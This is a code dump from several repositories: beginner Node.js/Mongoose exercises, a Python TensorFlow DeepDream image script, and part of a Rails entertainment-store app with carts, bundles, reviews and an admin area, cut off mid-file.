<file_sep> // function fun(str,num1) { // for(var i = 1;i<=num1;i++){ // console.log(str); // } // } // fun("wasif",4) function average(scores){ let sum = 0; let avg =0; scores.forEach(function(score){ sum += score; }); avg = sum/scores.length return Math.round(avg); } var scores = [10, 20, 30, 40, 50, 60]; console.log(average(scores));<file_sep>var mongoose = require("mongoose"); mongoose.connect("mongodb://localhost:27017/blog_demo_2", {useNewUrlParser:true}); //POST schema var postSchema = new mongoose.Schema({ title: String, content: String }); var Post = mongoose.model("Post", postSchema); // USER schema var userSchema = new mongoose.Schema({ name: String, email: String, posts: [ { type: mongoose.Schema.Types.ObjectId, ref: "Post" } ] }); var User = mongoose.model("User", postSchema); //------------------------------- User.create({name: "bob", email:"<EMAIL>"}); Post.create( {title:"how to cook a meal pt 2", Content:"just follow the recipe"}, function(err, post){ User.findOne({ name:"bob"}, function(err, foundUser){ if(err){ console.log(err); } else { foundUser.posts.push(post._id); foundUser.save(function(err, data){ if (err){ console.log(err); } else { console.log(data); } }); } }); }); User.findOne({name: "bob"}).populate("posts").exec(function (err,user){ if (err){ console.log(err); } else { console.log(user); } }); <file_sep># C9-backup <file_sep>var express = require("express") var app = express(); app.get("/", function (req,res) { res.send("hi there welcome to my assignment"); }); app.get("/speak/:animal", function (req,res) { var animal = req.params.animal; var sound = ""; if (animal === "dog"){ sound = "woof woof"; } else if (req.params.animal === "whale"){ sound = "sonic"; } else if (req.params.animal === "horse"){ sound = "neigh"; } else if (req.params.animal === "cat"){ sound = "Meow"; } else if (req.params.animal === "arshia"){ sound = "bhaukna"; } res.send("the animal is " + animal +" with the sound of "+ sound); }); app.get("/repeat/:message/:times", function (req,res) { var message = req.params.message; var times = Number(req.params.times); var result = ""; for( var i = 0; i <= times; i++){ result += message + " "; } res.send(result); }); app.get("/*", function (req,res) { res.send("you have entered a wrong URL"); }); app.listen(process.env.PORT, process.env.IP, function(){ console.log("the server has started"); });<file_sep>var mongoose =require("mongoose"); mongoose.connect("mongodb://localhost:27017/blog_demo", {useNewUrlParser:true}); //POST schema var postSchema = new mongoose.Schema({ title: String, content: String, }); var Post = mongoose.model("Post", postSchema); //USER schema var userSchema = new mongoose.Schema({ name: String, email: String, posts: [postSchema] }); var User = mongoose.model("User", userSchema); //=--------------------------------------= // var newUser = new User({ // name: "Hermione", // email: "<EMAIL>", // }); // newUser.posts.push( { // title:"things that i hate", // content: "voldemort. voldemort. voldemort." // }); // newUser.save(function (err, user){ // if(err){ // console.log(err); // } else { // console.log(user); // } // }); User.findOne({name:"Hermione"}, function(err, user){ if (err) { console.log(err); } else { user.posts.push({ title:"to do list", content: "go to potions class" }); } user.save(function(err, user){ if (err){ console.log(err) } else { console.log(user) } }); }); // var newPost = new Post({ // title:"how to be succeful", // content: "true determination and never give up, thats all!! " // }); // newPost.save(function(err, post){ // if(err){ // console.log(err); // } else { // console.log(post); // } // });<file_sep>var faker = require("faker"); var randomName = faker.name.findName(); // <NAME> var randomEmail = faker.internet.email(); // <EMAIL> var randomCard = faker.helpers.createCard(); // random cont var randomprod = faker.commerce.product(); var randomprice = faker.helpers.price(); // console.log(randomName); console.log("================================="); console.log(" welcome "); console.log("================================="); for(var i = 1; i <= 10 ; i++); { console.log(faker.fake("{{commerce.product}} - ${{commerce.price}}")); // console.log(faker.fake("{{commerce.product}} - ${{commerce.price}}")); // console.log(faker.fake("{{commerce.product}} - ${{commerce.price}}")); // console.log(faker.fake("{{commerce.product}} - ${{commerce.price}}")); // console.log(faker.fake("{{commerce.product}} - ${{commerce.price}}")); // console.log(faker.fake("{{commerce.product}} - ${{commerce.price}}")); // console.log(faker.fake("{{commerce.product}} - ${{commerce.price}}")); // console.log(faker.fake("{{commerce.product}} - ${{commerce.price}}")); // console.log(faker.fake("{{commerce.product}} - ${{commerce.price}}")); // console.log(faker.fake("{{commerce.product}} - ${{commerce.price}}")); }; <file_sep> function average(scores){ var sum, avg = 0; scores.forEach(function(score){ sum += score; }); avg = sum/scores.length; return Math.round(avg); } var scores = [10, 20, 30, 40, 50, 60]; console.log(average(scores));<file_sep>const mongoose = require("mongoose"); mongoose.connect("mongodb://localhost/cat_app"); const catSchema = new mongoose.Schema({ name: String, age: Number, temperament: String }); let Cat = mongoose.model("Cat",catSchema); var george = new Cat({ name: "<NAME>", age: "9", temperament: "grouchy" }); george.save(function(err, cat){ if(err){ console.log("we ran into an error"); } else{ console.log("the saved cat is"); console.log(cat); } }); Cat.find({},function(err, cats){ if(err){ console.log("we got an ERROR!") } else{ console.log("there are no errors!"); console.log(cats); } }); Cat.create({ name:"lolo", age:"12", temperament:"susthad" },function(err, cats){ if(err){ console.log("we got an ERROR!") } else{ console.log("there are no errors!"); console.log(cats); } });
0f83cc844f711af1f1ceff9c8d62bf2d926bba10
[ "JavaScript", "Markdown" ]
8
JavaScript
wasifsn/C9-backup
9a59d9c8dc9f21155dd34277a965d5e9ee654bcd
0354ddd7eaa8ead7d1e6eea210b984cc1ea3e14e
refs/heads/master
<file_sep>### Simple-Deep-Dream ![](dream.png) <file_sep># -*- coding: utf-8 -*- from tensorflow.keras.applications import InceptionV3 from tensorflow.keras.applications.inception_v3 import preprocess_input from PIL import Image from argparse import ArgumentParser import imutils import tensorflow as tf import numpy as np import cv2 def loadImage(imagePath, width = 350): image = cv2.imread(imagePath) image = imutils.resize(image, width=width) image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) image = np.array(image) return image def deProcess(image): # to "undo" the processing done for Inception and cast the pixel # values to integers image = 255 * (image + 1.0) image /= 2.0 image = tf.cast(image, tf.uint8) return image def calculteLoss(image, model): # add a batch dimension to the image and grab the activation from # specified layers of the Inception network after performing # a forward pass image = tf.expand_dims(image, axis=0) layerActivations = model(image) # initialize a list to store intermediate losses losses = [] # iterate of the layer activation for act in layerActivations: # compute the mean of each activation and append it to the # losses list list loss = tf.reduce_mean(act) losses.append(loss) # return the sum of losses return tf.reduce_sum(losses) @tf.function def DeepDream(model, image, stepSize, eps=1e-8): # instruct tensorflow to record the gradients with tf.GradientTape() as tape: # keep track of the image to calculate gradient and calculate # the loss yeilded by the model tape.watch(image) loss = calculteLoss(image, model) # calculate the gradients of loss with respect to the image # and normalize the data gradients = tape.gradient(loss, image) gradients /= tf.math.reduce_std(gradients) + eps # adjust the image with the normalised gradients and clips its # pixel value to the range [0,1] image = image + (gradients * stepSize) image = tf.clip_by_value(image, -1, 1) return (loss, image) def runDeepDreamModel(model, image, iterations=100, stepSize=0.01): # preprocess the image for input to inception model image = preprocess_input(image) # loop for the given number of iterations for iteration in range(iterations): # employ the DeepDream model to retreive the loss along with # the updated image (loss, image) = DeepDream(model=model, image=image, stepSize=stepSize) # log the losses after fixed interval if iteration % 25 == 0: print("[INFO] iteration {}, loss {}".format(iteration, loss)) return deProcess(image) # Construct argument parser ap = ArgumentParser() ap.add_argument("-i", "--image", required=True, help="path to input image...") ap.add_argument("-o", "--output", required=True, help="Path to output dreamed image...") args = vars(ap.parse_args()) # define the layers we are going to use for the DeepDream names = ["mixed3", "mixed5"] # Define the octave scale and number of octaves # NOTE : Tweeking this value will create different output dreams OCTAVE_SCALE = 1.3 NUM_OCTAVE = 3 # Load the input image print("[INFO] Loading input image...") origImage = loadImage(args["image"]) # Load the pretrained inception model from the disk print("[INFO] Loading the inception model...") baseModel = InceptionV3(include_top=False, weights="imagenet") # Construct the dreaming model layers = [baseModel.get_layer(name).output for name in names] dreamModel = tf.keras.Model(inputs = baseModel.input, outputs=layers) # Convert the image to a tensorflow constant for better performance, # Grab the first two dimensions of the image and cast them to float image = tf.constant(origImage) baseShape = tf.cast(tf.shape(image)[:-1], tf.float32) # loop over the number of octave resolution that we are going to generate for n in range(NUM_OCTAVE): # Compute the spatial dimentions( i.e width and height) # for the curent octave and cast them to integers print("[INFO] Starting octave {}".format(n)) newShape = tf.cast(baseShape * (OCTAVE_SCALE ** n), tf.int32) # resize the image with newly computed shape, convert it to its # numpy variant, and run it through DeepDream Model image = tf.image.resize(image, newShape).numpy() image = runDeepDreamModel(model= dreamModel, image=image,iterations=200, stepSize=0.001) # Convert the final image to a numpy array and save it to disk finalImage = np.array(image) Image.fromarray(finalImage).save(args["output"])
804ab270d45edb2c9413b3067741b4b38fdcf523
[ "Markdown", "Python" ]
2
Markdown
rahul765/Simple-Deep-Dream
8863fa03a84b8e23b2c4669562615d47e9d3f8cb
f8f9bcb71a9a65ed74b5a7ce0eeccf5b5381dcb5
refs/heads/master
<repo_name>quietrex/jupyterlab-1<file_sep>/packages/ui-components/test/menu.spec.ts import { CommandRegistry } from '@lumino/commands'; import { IRankedMenu, RankedMenu } from '../lib'; describe('@jupyterlab/ui-components', () => { let commands: CommandRegistry; const id = 'test-command'; const options: CommandRegistry.ICommandOptions = { execute: jest.fn() }; beforeAll(() => { commands = new CommandRegistry(); commands.addCommand(id, options); }); describe('IRankedMenu', () => { describe('#addItem', () => { it('should return a disposable item', () => { const menu = new RankedMenu({ commands }) as IRankedMenu; const item = menu.addItem({ command: id }); expect(menu.items.length).toEqual(1); item.dispose(); expect(menu.items.length).toEqual(0); }); }); }); });
b57b3bf099a63e08fadf1c178a69ff446c37e5d7
[ "TypeScript" ]
1
TypeScript
quietrex/jupyterlab-1
a72a6c49d8483b0d183ea43a4588a82100206bdf
d6ad6153c50e49f32bdc2a64498aaaa9ae213ace
refs/heads/master
<file_sep>using System; using System.Collections.Generic; using System.Collections; using System.Collections.Specialized; using System.Collections.ObjectModel; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Lab10 { class Program { private static void obsrv_Changed(object sender, NotifyCollectionChangedEventArgs e) { switch (e.Action) { // Следующая строка сработает если в коллекцию был добавлен элемент. case NotifyCollectionChangedAction.Add: Figure newFigure = e.NewItems[0] as Figure; Console.WriteLine("Добавлен новый объект: \n{0}\n", newFigure.ToString()); break; // Следующая строка если элемент был удален из коллекции. case NotifyCollectionChangedAction.Remove: Figure oldFigure = e.OldItems[0] as Figure; Console.WriteLine("Удален объект:\n {0}\n", oldFigure.ToString()); break; // Следующая строка сработает если элемент был перемещен. case NotifyCollectionChangedAction.Replace: Figure replacedFigure = e.OldItems[0] as Figure; Figure replacingFigure = e.NewItems[0] as Figure; Console.WriteLine("Обьект \n{0}\n был заменен объектом \n{1}\n", replacedFigure.ToString(), replacingFigure.ToString()); break; } } public static ObservableCollection<Figure> obsrvCollection = new ObservableCollection<Figure> { new Figure(), new Figure("name1","form1","color1","border1",1), new Figure("name NAME","form221","1color1","bord",0), }; static void Main(string[] args) { del ends = StartConfiguration(); ArrayListController contr = new ArrayListController(); SortedListController<int, float> sortcontr = new SortedListController<int, float>(); SortedListController<int,Figure> sortcontrfigure = new SortedListController<int, Figure>(); Stack<float> stack = new Stack<float>(); Stack<Figure> stackfigure = new Stack<Figure>(); StackController<float> stackcontr = new StackController<float>(); StackController<Figure> stackcontrfigure = new StackController<Figure>(); //----------------444444444444444444444444444----------------------------------------------------- obsrvCollection.CollectionChanged += obsrv_Changed; obsrvCollection.Add(new Figure("name 222", "form223r", "1colfeor1", "borderring", 200)); obsrvCollection.RemoveAt(1); obsrvCollection[0] = new Figure("no name", "no form", "no color", "no border", 0); foreach (Figure fg in obsrvCollection) { Console.WriteLine(fg.ToString()); } //------------------------------------------------------------------------------------------------- //ArrayList firstarraylist = new ArrayList(); //for (int q = 0; q < 5; q++) // firstarraylist.Add(Math.Pow(2, q)); //firstarraylist.Add("some string"); //Student student = new Student(18, 2, "Danil"); //firstarraylist.Add(student); //Console.WriteLine("\nWith student"); //contr.printArrayList(firstarraylist); //firstarraylist.Remove(student); //Console.WriteLine("\nWithout student"); //contr.printArrayList(firstarraylist); //firstarraylist.Add(student); //contr.FindByIndex(firstarraylist); //Console.WriteLine("\nTask 2\n"); //SortedList<int,float> sortedList = new SortedList<int,float>(); //for (int q = 0; q < 5; q++) // sortedList.Add(q,(float)Math.Pow(q, q*2.28)); //Console.WriteLine("Start list:"); //sortcontr.printArrayList(sortedList); //Console.WriteLine("Delete 2 elements:"); //sortcontr.deleteNElement(ref sortedList, 2); //sortcontr.printArrayList(sortedList); //sortedList.Add(321,(float)213.12312); //sortedList.Add(228,(float)288.8); //sortedList.Add(322,(float)1234.2); //sortcontr.printArrayList(sortedList); //for (int i = 0; i < sortedList.Count; i++) //{ // stack.Push(sortedList.Values[i]); //} //stackcontr.printStack(stack); //SortedList<int, Figure> sortedListFigure = new SortedList<int, Figure>(); //for (int q = 0; q < 5; q++) // sortedListFigure.Add(q, new Figure()); //Console.WriteLine("Start list:"); //sortcontrfigure.printArrayList(sortedListFigure); //Console.WriteLine("Delete 2 elements:"); //sortcontrfigure.deleteNElement(ref sortedListFigure, 2); //sortcontrfigure.printArrayList(sortedListFigure); //sortedListFigure.Add(321, new Figure("name","form 1","green","solid",1)); //sortedListFigure.Add(322, new Figure("nameWhere","form 2","blue","not",0)); //sortedListFigure.Add(228, new Figure("nameTheName","form 228","green 228","solid",228)); //sortcontrfigure.printArrayList(sortedListFigure); //for (int i = 0; i < sortedListFigure.Count; i++) //{ // stackfigure.Push(sortedListFigure.Values[i]); //} //stackcontrfigure.printStack(stackfigure); ends(); } public static void endMes() => Console.WriteLine("\nEnd Of Program"); public static void end() => Console.ReadKey(); private static del StartConfiguration() { del d; d = endMes; d += end; return d; } delegate void del(); } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Lab10 { class StackController<T> { public void printStack(Stack<T> stack) { int size = stack.Count; string str = ""; if (stack.Count != 0) { while (stack.Count != 0) str += " *** \n" + stack.Pop() + "\n"; Console.WriteLine("Print stack"); Console.WriteLine("Amount of elements: " + size + '\n' + str + '\n'); } else Console.WriteLine("\nStack is empty"); } } } <file_sep>using System; using System.Collections.Generic; using System.Collections; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Lab10 { class ArrayListController { public void FindByIndex(ArrayList a) { if (a.Count != 0) { Console.WriteLine("\nFind by index.Enter index: "); int x = -1; string buffers = Console.ReadLine(); while (x == -1) if (!(int.TryParse(buffers, out x) && x < a.Count && x > -1)) { x = -1; Console.WriteLine("*Wrong data*Try again*"); buffers = Console.ReadLine(); } else Console.WriteLine("\nThe " + x + " element is: " + a[x]); } else Console.WriteLine("\nArrayList is empty"); } public void printArrayList(ArrayList a) { string str = ""; foreach (object i in a) str += " * >> " + i.ToString() + " <<"; Console.WriteLine("\nPrint ArrayList"); Console.WriteLine("Amount of elements: " + a.Count + '\n' + str + '\n'); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Lab10 { class SortedListController<T, U> { public void FindByKey(SortedList<T, U> list, T key) { if (list.Count != 0) { if (list.ContainsKey(key)) { Console.WriteLine(list.Values[list.IndexOfKey(key)]); } else Console.WriteLine("\nError key"); } else Console.WriteLine("\nArrayList is empty"); } public void deleteNElement(ref SortedList<T, U> list, int n) { int x; for (int i = 0; i < n; i++) { x = list.Count-1; list.RemoveAt(x); } } public void printArrayList(SortedList<T, U> list) { string str = ""; for (int i = 0; i < list.Count; i++) { str += " *** \n" + list.Keys[i] + ' ' + list.Values[i] + "\n"; } Console.WriteLine("\nPrint SortedList"); Console.WriteLine("Amount of elements: " + list.Count + '\n' + str + '\n'); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Lab10 { class Student { private int _age; private int _course; private string _name; public Student(int age,int course,string name) { _age = age; _course = course; _name = name; } public override string ToString() { return "Name: " + _name + "\tCourse: " + _course+"\tAge"+_age; } } }
eec5f560b09b094f0ce724bf6c47f2bb40b4a22a
[ "C#" ]
5
C#
SelDanilEv/OOP_Lab10
29968961a69055f5a91246cc5cc696b36649e050
d7b3d379f45cb98354eab298f6d33f4b3c05c4b4
refs/heads/master
<repo_name>Rubikal/ent-me<file_sep>/db/migrate/20170820145803_create_products.rb class CreateProducts < ActiveRecord::Migration[5.1] def change create_table :products do |t| t.string :title t.text :description t.string :image t.string :price t.string :studio t.string :label t.integer :number_of_discs t.integer :duration t.integer :category t.integer :format t.datetime :released_at t.timestamps end end end <file_sep>/app/controllers/admin/orders_controller.rb class Admin::OrdersController < Admin::AdminController def index @orders = Order.page(params[:page]) end def fulfill @order = Order.find(params[:id]) @order.fulfill redirect_to admin_orders_path end def cancel @order = Order.find(params[:id]) @order.cancel redirect_to admin_orders_path end def show @order = Order.find(params[:id]) end end <file_sep>/app/assets/javascripts/review.js (function(){ $(document).ready(function() { // rating stars $("[data-rating]").each(function(){ var rating = parseFloat($(this).data('rating')); $(this).rateYo({ fullStar: 1, rating: rating, starWidth: '13px', readOnly: $(this).attr('readonly'), onChange: function (rating, rateYoInstance) { $(this).next().val(rating); } }); }); // validations $("#new_review").on('submit', function(){ if($("[name='review[rating]']").val() === ""){ alert("Rating required"); return false; } return true; }); }); })(jQuery); <file_sep>/config/routes.rb Rails.application.routes.draw do namespace :api do resources :products do collection do get :search end end end resources :news, only: :index resources :orders, only: :create do collection do get :receipt end end resources :checkout, only: [:index] resources :carts, only: [:index] do collection do get :info post :add post :remove end end match '/about', to: 'home#about', via: :get, as: :about devise_for :users, path_names: { sign_in: 'login', sign_out: 'logout', sign_up: 'register' }, controllers: { omniauth_callbacks: "users/omniauth_callbacks" } root to: "products#home" get '/admin', to: 'admin/products#index' resources :products, only: [:index, :show] do collection do get 'autocomplete' get 'home' get 'search' get ':type', action: :index, constraints: {type: /#{Product::TYPES.map(&:pluralize).join('|')}/}, as: :type end resources :reviews, only: :create end resources :products, path: '/product', only: [:show] namespace :admin do resources :products do resources :reviews end resources :orders do member do post :fulfill post :cancel end end resources :bundles resources :news end end <file_sep>/app/models/bundle.rb class Bundle < ApplicationRecord has_many :bundle_products, autosave: true, dependent: :destroy has_many :products, through: :bundle_products, autosave: true validates :discount_percentage, presence: true validates :discount_percentage, inclusion: { :in => 1..100 } validates :products, presence: true validates :products, :length => { :minimum => 2, message: "count has to be at least 2" } def title self.products.first.title rescue nil end def image self.products.first.image rescue nil end def as_json(options = nil) { id: self.id, title: self.title, products: self.products.map(&:as_json), discount_percentage: self.discount_percentage } end end <file_sep>/spec/factories/payment_informations.rb FactoryGirl.define do factory :payment_information do first_name "MyString" last_name "MyString" account_number "MyString" ccv "MyString" expiration_date_month "" expiration_date_year 1 end end <file_sep>/app/models/bundle_product.rb class BundleProduct < ApplicationRecord belongs_to :product belongs_to :bundle end <file_sep>/lib/utilities/cart.rb class Cart def initialize cart @cart = cart || {} end def add_product product, count, set count = count.present? ? count.to_i : 1 if has_item? product cart[product] = set ? count : (item_count(product) + count) else cart[product] = count end end def remove_product product if has_item? product cart.delete(product) end end def data {items: items, count: count, total: total} end def info cart end def empty? cart.keys.length == 0 end def total return 0 if empty? products.map do |product| product.price * cart[product.id.to_s] end.sum.round(2) end private def count cart.keys.count end def products @products ||= Product.where(id: cart.keys) end def items return [] if empty? products.map do |product| product_info(product) end end def has_item? product cart.keys.include? product end def item_count product cart.fetch(product.to_s, 0) end def product_info product { id: product.id, title: product.title, price: product.price, image: product.image_url, count: item_count(product.id) } end attr_reader :cart end # Cart should looks like {product_id: count, product_id_2: count, ...} <file_sep>/db/migrate/20170823225848_create_orders.rb class CreateOrders < ActiveRecord::Migration[5.1] def change create_table :orders do |t| t.float :total_price t.float :shipping_cost t.string :shipping_method t.boolean :ship_to_same_address t.belongs_to :user t.timestamps end end end <file_sep>/app/models/product.rb class Product < ApplicationRecord include PgSearch mount_uploader :image, ::ImageUploader pg_search_scope :search_by_title, against: [:title], using: { tsearch: { prefix: true } } TYPES = %w(music film game) # Relations has_many :bundle_products has_many :bundles, through: :bundle_products has_many :reviews do def average_rating average(:rating).to_f end end # Validations validates :price, presence: true # Scopes scope :featured, ->{ where(featured: true) } scope :search, ->(keyward){ where("title ilike ?", "%#{keyward}%") } scope :by_category, -> (category) { where(category: category) } def image_url image.url if image end def as_json(options = nil) { id: self.id, type: self.type, title: self.title, price: self.price, image_url: self.image.thumb.url, reviews_average: self.reviews.average_rating } end end <file_sep>/spec/factories/bundles.rb FactoryGirl.define do factory :bundle do discount_percentage 1.5 end end <file_sep>/app/models/news.rb class News < ApplicationRecord mount_uploader :image, ::ImageUploader def image_url image.url if image end end <file_sep>/app/controllers/admin/bundles_controller.rb class Admin::BundlesController < Admin::AdminController def index @bundles = Bundle.page(params[:page]) end def new @bundle = Bundle.new end def show @bundle = Bundle.find(params[:id]) end def create @bundle = Bundle.new(bundle_params) if @bundle.save redirect_to admin_bundle_path(@bundle) else flash[:error] = @bundle.errors.full_messages.to_sentence redirect_to new_admin_bundle_path end end def update @bundle = Bundle.find(params[:id]) if @bundle.update_attributes(bundle_params) redirect_to admin_bundle_path(@bundle) else flash[:error] = @bundle.errors.full_messages.to_sentence redirect_to admin_bundle_path(@bundle) end end def destroy @bundle = Bundle.find(params[:id]) @bundle.destroy redirect_to admin_bundles_path end protected def bundle_params params.require(:bundle).permit! end end <file_sep>/spec/factories/orders.rb FactoryGirl.define do factory :order do number_of_items 1 price 1.5 end end <file_sep>/app/mailers/user_mailer.rb class UserMailer < ApplicationMailer layout 'mailer' default from: '<EMAIL>' def receipt_summary(order) @user = order.user @order = order mail(to: @user.email, subject: 'Your order summary from ent-me.com') end end <file_sep>/README.md # EntMe Technologies: * Ruby version 2.3.1 * Rails version 5.13 - pg_search for autocomplete - devise for authentication - kaminari for pagination - carrierwave for photo upload * React * Bootstrap * jQuery autocomplete ERD: ![ERD](https://raw.githubusercontent.com/instacular/instacular.github.io/master/img/entme.jpg) Run project: * just run the seed and you should be good to go, 2 users created - User <EMAIL> / 12345678 - Admin <EMAIL> / 12345678 Admin should login from user login screen and should be able to find admin tab in header All following are supported: * Ability to view featured items that are marked by the administrator * View list all the items in each entertainment category * Ability to search for items on the platform using autocomplete feature * View the details of each item and add them to the cart * Ability to checkout his cart and receive and email with the invoice, noting that only registered users can complete the checkout process. * Also, Users can register a new account using Facebook to ease the login process to his/her account. * Submit a review on any entertainment item with a rating * Share on Facebook a particular movie with the review submitted Admin should be able to: * The administrator should have the ability of creating a bundled item which is a set of other products on the platform with a discounted price. * Listing and views of the all the orders to manage them online * Upload various media types for the entertainment items such as cover images, trailers, etc… * Control the reviews submitted on the elements by deleting them if necessary * Ability to mark orders as fulfilled and label them for future references Copyright (c) 2017, <EMAIL> <file_sep>/app/models/game.rb class Game < Product enum category: [:"Action & Adventure", :"Real-time 3D adventures", :Simulation, :Strategy, :Sports, :Art, :Casual, :Educational, :Party, :Programming, :Logic, :Card] end <file_sep>/app/models/film.rb class Film < Product enum category: [:Television, :"Children's & Family", :Drama, :"Action & Adventure", :"World Cinema", :Horror, :"Science Fiction", :Comedy, :Documentary, :Thriller, :Western, :"Animated Feature", :Anime, :"Modern Classic", :Musicals, :Sport] enum format: [:DVD, :"DVD Box Set", :"Blu-ray"] end <file_sep>/app/controllers/admin/reviews_controller.rb class Admin::ReviewsController < Admin::AdminController def index @product = Product.find(params[:product_id]) @reviews = @product.reviews end def destroy @review = Review.find(params[:id]) @review.destroy redirect_to admin_product_reviews_path(product_id: params[:product_id]) end end <file_sep>/app/assets/javascripts/cart.js (function(){ $(document).ready(function() { // Add item to card $('.btn-add-cart').on('click', function() { var productID = $(this).data("productid"), self = this, count = null; $(this).prepend('<i class="fa fa-refresh fa-spin"/>'); if($(this).hasClass('js-with-count')){ count = $(".quantity").val(); } $.ajax({ type: "post", url: "/carts/add", data: {id: productID, count: count}, success: function(data){ $(self).find('.fa-refresh').remove(); renderCart(data); }, failure: function(data){ $(self).find('.fa-refresh').remove(); alert("Fail to add item to basket!") } }); }); // Remove item from card $('body').on('click', '.remove-item', function(e) { e.preventDefault() e.stopPropagation() var productID = $(this).data("productid"); $(this).find('.fa').removeClass('fa-times').addClass('fa-refresh fa-spin'); $(".js-cart-dropdown").addClass("open"); $.ajax({ type: "post", url: "/carts/remove", data: {id: productID}, success: function(data){ renderCart(data); }, failure: function(data){ alert("Fail to add item to basket!") } }); }); // Load cart data loadCart() }); })(jQuery); function loadCart(){ $.ajax({ type: "get", url: "/carts/info", success: function(data){ renderCart(data); }, failure: function(data){ alert("Fail to load basket data!") } }); } function updateCartItem(item, count){ var productID = $(item).data("productid"); $.ajax({ type: "post", url: "/carts/add", data: {id: productID, count: count, set: true}, success: function(data){ renderCart(data); }, failure: function(data){ alert("Fail to add item to basket!") } }); } function renderCart(data){ renderMiniBascket(data); renderBascket(data); } function renderMiniBascket(data){ $(".js-item-count").text([data.count, " Items"].join('')); $(".js-total-price").text(["$", data.total ].join('')); $(".js-subtotal").text(["Subtotal: $", data.total ].join('')); $(".cart-items").html(""); if(data.items.length > 0){ $(".mini-cart-totals").show(); $.each(data.items, function(index, item){ item = '<li class="row cart-item">' + '<div class="product-thumb col-xs-4">' + '<img class="img-responsive" src='+item.image+' >' + '</div>' + '<div class="product-info col-xs-8">' + '<h6 class="product-title">'+item.title+'</h6>' + '<div class="price">' + item.count + ' x <span>$' + item.price +'</span>' + '</div>' + '<a class="remove-item" data-productid='+item.id+' href="javascript:;"><i class="fa fa-times"></i></a>' + '</div>' + '</li>'; $(".cart-items").append(item); }); }else{ $(".mini-cart-totals").hide(); $(".cart-items").append('<h6>No items in cart.</h6>'); } } function renderBascket(data){ if($(".full-cart-items").length === 0){ return; } $(".js-badge").text(["$", data.total ].join('')); $(".full-cart-items").html(""); if(data.items.length > 0){ $.each(data.items, function(index, item){ item = '<div class="cart-item row">' + '<div class="col-xs-12 col-sm-2">' + '<div class="product-thumb">' + '<img class="img-responsive" src='+item.image+'>' + '</div>' + '</div>' + '<div class="col-xs-12 col-sm-4 col-lg-5 cart-details">' + '<div class="h4 product-title">' + '<a href="javascript:;">'+item.title+'</a>' + '<p><small class="unit-price"> $'+item.price+'</small></p>' + '</div>' + '</div>' + '<div class="col-xs-12 col-sm-3 col-lg-2 cart-details ">' + '<div class="quantity">' + '<div class="quantity-selector">' + '<button class="quantity-btn minus btn btn-lg btn-default js-cart" data-productid='+item.id+'><i class="fa fa-minus"></i></button>' + '<input type="text" class="form-control quantity" value='+item.count+'>' + '<button class="quantity-btn plus btn btn-lg btn-default js-cart" data-productid='+item.id+'><i class="fa fa-plus"></i></button>' + '</div>' + '</div>' + '</div>' + '<div class="col-xs-12 col-sm-3 col-lg-3 cart-details">' + '<div class="h4 total-price"> $'+item.price+'</div>' + '<a class="remove-item" href="javascript:;" data-productid='+item.id+' ><i class="fa fa-times"></i></a>' + '</div>' + '</div>' $(".full-cart-items").append(item); }); }else{ $(".full-cart-items").append('<h6>No items in cart.</h6>'); } } <file_sep>/app/assets/javascripts/components/bundle_form.jsx class BundleForm extends React.Component { constructor(props) { super(props); this.state = { searchProducts: [], bundleProducts: props.bundle.products || [] } } componentDidMount(){ Ladda.bind( '.ladda-button' ); } searchProducts(e){ e.preventDefault(); e.stopPropagation(); var self = this; $.get("/api/products/search", {q: this.searchInput.value}, function(products) { Ladda.stopAll(); self.setState({ searchProducts: products }); }); } addProduct(product){ this.state.bundleProducts.push(product); this.setState({bundleProducts: this.state.bundleProducts}); } removeProduct(product){ _.remove(this.state.bundleProducts, function(bundleProduct){ return bundleProduct.id == product.id; }); this.setState({bundleProducts: this.state.bundleProducts}); } componentDidUpdate(prevProps, prevState){ $("[data-rating]").each(function(){ var rating = parseFloat($(this).data('rating')); if (rating > 0) { $(this).rateYo({ rating: rating, starWidth: '13px', readOnly: $(this).attr('readonly') }); } }); } render() { var self = this; return ( <div> <div className="page-header"> <h4><i className="fa fa-cubes" aria-hidden="true"></i> Add Products</h4> </div> <form id="search-prodduct-form" onSubmit={this.searchProducts.bind(this)}> <div className="grid-form"> <div className="row"> <div className="col-sm-12 field-cell"> <label className="control-label float"><i className="fa fa-search" aria-hidden="true" /> Search products</label> <input type="text" name="query" ref={(i) => { this.searchInput = i; }} placeholder="Product title" autoComplete="off" /> <button id="search-product" type="submit" className="btn btn-default overlay-button ladda-button" data-style="zoom-out" data-spinner-color="#777"><span className="fa fa-search"></span> Search</button> </div> </div> </div> </form> <div> { this.state.searchProducts.map((product) => { var added = _.some(this.state.bundleProducts, function(bundleProduct){ return bundleProduct.id == product.id; }); var addButton; if (added) { addButton = <button type="button" className="btn btn-sm btn-success" disabled><i className="fa fa-check" aria-hidden="true"></i> Added</button> }else{ addButton = <button type="button" className="btn btn-sm btn-primary" onClick={self.addProduct.bind(self, product)}><i className="fa fa-plus" aria-hidden="true"></i> Add</button> } return( <div className="ui-menu-item" key={product.id}> <span className="img"> <img src={ product.image_url } /> </span> <span className="title"> { product.title } {addButton} </span> <span data-rating={ product.reviews_average } readOnly></span> <span className="price"> ${ product.price } </span> </div> ) }) } </div> <form id="new-bundle-form" className="simple_form form-horizontal" noValidate="novalidate" encType="multipart/form-data" action={self.props.bundle.id ? ("/admin/bundles/" + self.props.bundle.id) : "/admin/bundles"} acceptCharset="UTF-8" method="post"> {self.props.bundle.id ? <input type="hidden" name="_method" value="patch" /> : null } <div className="page-header"> <h4><i className="fa fa-tags" aria-hidden="true"></i> Bundle Products</h4> </div> <div> { this.state.bundleProducts.map((product) => { return( <div className="ui-menu-item" key={product.id}> <span className="img"> <img src={ product.image_url } /> </span> <span className="title"> { product.title } <button type="button" className="btn btn-sm btn-danger" onClick={self.removeProduct.bind(self, product)}><i className="fa fa-remove" aria-hidden="true"></i> Remove</button> </span> <span data-rating={ product.reviews_average } readOnly></span> <span className="price"> ${ product.price } </span> <input type="hidden" name="bundle[product_ids][]" value={product.id} /> </div> ) }) } </div> <br /> <div className="page-header"> <h4><i className="fa fa-percent" aria-hidden="true"></i> Discount</h4> </div> <div className="grid-form"> <div className="row"> <div className="col-sm-12 field-cell"> <div className="form-group float required bundle_discount_percentage"> <div> <input className="form-control 